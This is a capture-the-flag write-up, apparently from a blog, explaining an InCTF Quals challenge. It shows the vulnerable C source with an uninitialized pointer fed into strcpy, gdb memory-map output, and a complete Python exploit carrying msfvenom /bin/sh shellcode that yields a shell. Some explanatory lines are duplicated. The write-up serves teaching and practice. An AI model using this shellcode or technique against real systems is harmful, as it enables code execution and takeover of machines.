This is a challenge that we set for InCTF Quals, a national level contest for students. We had a ELF 32-bit LSB executable, running on a 64-bit machine. The source code was provided to the participants. Since we had only few solvers, I thought of making a writeup
[*] When function one() is called stack is filled with argv[1], this content remains in stack
[*] Function two() has an uninitialized pointer. This pointer is initialized with content already present in stack
[*] By controlling the value of uninitialized pointer, we can overwrite saved EIP using the strcpy() call
One can view the stack address as:
#include <string.h> #include <stdlib.h> #include <stdio.h> void two() { char buf[1024]; char *pass; char *fail = NULL; if(pass) strcpy(buf, pass); } void one(char *arg) { char buf[4096]; memset(buf, 0x00, sizeof(buf)); strncpy(buf, arg, sizeof(buf)-1); } int main(int argc, char **argv) { if(argc != 2) exit(-1); one(argv[1]); two(); return 0; }Both ASLR and NX were turned off. Vulnerability is easy to spot from code
[*] When function one() is called stack is filled with argv[1], this content remains in stack
[*] Function two() has an uninitialized pointer. This pointer is initialized with content already present in stack
[*] By controlling the value of uninitialized pointer, we can overwrite saved EIP using the strcpy() call
One can view the stack address as:
Breakpoint 1, 0x08048536 in main () (gdb) info program Using the running image of child process 11166. Program stopped at 0x8048536. It stopped at breakpoint 1. (gdb) shell cat /proc/11166/maps ........................................ f7fe0000-f7fe1000 rwxp 00000000 00:00 0 f7ffc000-f7ffd000 rwxp 00000000 00:00 0 f7ffd000-f7ffe000 r-xp 00000000 00:00 0 [vdso] fffe9000-ffffe000 rwxp 00000000 00:00 0 [stack]Since ASLR is disabled we can exactly compute the address of shellcode in stack. There is a interesting point, though the binary was compiled as 32-bit using gcc -m32 flag in 64-bit operating system, the size of void pointer pushed into stack is still of size 8 bytes instead of 4 bytes.
(gdb) x/2wx 0xffffe000-0x8 0xffffdff8: 0x00000000 0x00000000With the above information we can build the exploit to get shell
#!/usr/bin/env python import os import struct # msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00' shellcode = ("\xd9\xc6\xb8\x76\xee\x8c\x5a\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0b\x31\x46\x1a\x83\xee\xfc\x03\x46\x16\xe2\x83\x84" + "\x87\x02\xf2\x0b\xfe\xda\x29\xcf\x77\xfd\x59\x20\xfb\x6a" + "\x99\x56\xd4\x08\xf0\xc8\xa3\x2e\x50\xfd\xbc\xb0\x54\xfd" + "\x93\xd2\x3d\x93\xc4\x61\xd5\x6b\x4c\xd5\xac\x8d\xbf\x59" ) vuln = "./bin300" shell_addr = 0xffffe000 - 0x8 - len(vuln) - len(shellcode) - 0x2 two_buf = "A"*1024 + struct.pack("<I",shell_addr) * 50 env_var = two_buf + shellcode two_buf_addr = 0xffffe000 - 0x8 - len(vuln) - len(env_var) - 0x2 arg = struct.pack("<I",two_buf_addr) * 1024 env = {"":env_var} os.execve(vuln,[vuln,arg],env)
[ctf@renorobert InCTF]$ python bin300.py sh-4.1#
No comments :
Post a Comment